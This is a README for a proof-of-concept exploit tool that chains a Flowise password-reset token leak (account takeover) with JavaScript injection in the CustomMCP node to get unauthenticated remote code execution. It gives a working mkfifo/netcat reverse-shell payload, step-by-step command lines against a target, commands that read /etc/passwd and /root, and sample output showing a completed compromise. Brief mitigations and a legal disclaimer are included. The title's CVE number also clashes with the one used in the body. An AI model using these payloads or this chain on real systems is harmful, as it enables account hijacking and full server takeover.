
Combined PoC for CVE-2025-28434 and CVE-2025-59528
⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.
This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.
The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.
Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.
Attack Steps:
POST /api/v1/account/forgot-password with any registered emailtempToken from the JSON response — no email access neededPOST /api/v1/account/reset-password with the leaked token → set a new passwordLeaked response (trimmed):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.
Vulnerable code path:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
Required headers:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Default injection payload (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Note: Reverse shell payloads use
cp.exec()(async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands usecp.execSync()and return output inline.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Component | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Affected by CVE-2025-58434 |
| Flowise self-hosted (all versions prior to patch) | Affected by both CVEs |
Check the official Flowise security advisories for patched release numbers.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requests librarygit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
No mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Start your listener before running:
nc -lvnp 4444
python3 flowise_poc.py -h
Runs all four steps end-to-end: leak token → reset password → login → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Leak the tempToken and reset the account password. Stops before login/RCE.
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Print raw JSON response
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Authenticate and extract the three session cookies for manual use.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON output for scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Execute on the server. Auto-logins if --token is not given.
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Custom command — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Manual token — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# All three cookies manually
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Description |
|---|---|
--chain | Full chain: ATO → Login → RCE |
--module ato | Account takeover only |
--module login |
| Flag | Short | Description | Required |
|---|---|---|---|
--url | -u | Base URL of Flowise instance |
| Flag | Short | Description | Default |
|---|---|---|---|
--new-password | -p | Password set on victim account after ATO | Flowise@Pwn3d2025! |
| Flag | Short | Description | Default |
|---|
The script automatically picks the right execution mode:
Async execution means the HTTP request completes instantly — no timeout errors on reverse shell payloads.
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
tempToken only via registered email.forgot-password endpoint.Function(), eval(), or vm.runInThisContext().mcpServerConfig as data only (e.g., JSON.parse()) — never execute it.| Date | Event |
|---|---|
| 2025-08-19 | CVE-2025-58434 discovered and reported |
| TBD | CVE-2025-59528 discovered and reported |
| TBD | Vendor acknowledgement |
For educational purposes and authorized penetration testing only.
See DISCLAIMER.md for the full legal notice.
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| Type | Account Takeover | Remote Code Execution |
| Auth Required | None | Yes (any valid account) |
| CVSS | 9.8 Critical | Critical |
| Affected | Cloud + Self-hosted | Self-hosted |
| Login and extract cookies only |
--module rce | RCE only |
| Always |
--email | -e | Target / login email | Always |
| Flag | Short | Description |
|---|
--login-password | -P | Password for login module / RCE auto-login |
--token | — | Manually supply token cookie (skips login) |
--refresh-token | — | Manually supply refreshToken cookie |
--connect-sid | — | Manually supply connect.sid cookie |
| Flag | Short | Description | Default |
|---|
--lhost | — | Attacker IP for reverse shell | — |
--lport | — | Attacker port for reverse shell | — |
--command | -c | Custom OS command (overrides revshell) | id if no lhost/lport |
--timeout | -t | HTTP timeout (seconds) | 15 |
--json-output | -j | Print raw JSON responses | false |
| Scenario | Payload used | HTTP behaviour |
|---|
--lhost + --lport (no -c) | mkfifo netcat one-liner | cp.exec() — async, returns immediately |
-c "..." containing nc/mkfifo/bash -i | detected as revshell | cp.exec() — async, returns immediately |
-c "id" or any other normal command | user command | cp.execSync() — blocks, returns output |
no -c, no --lhost | id | cp.execSync() — blocks, returns output |
| TBD | Patch released |
| TBD | Public disclosure |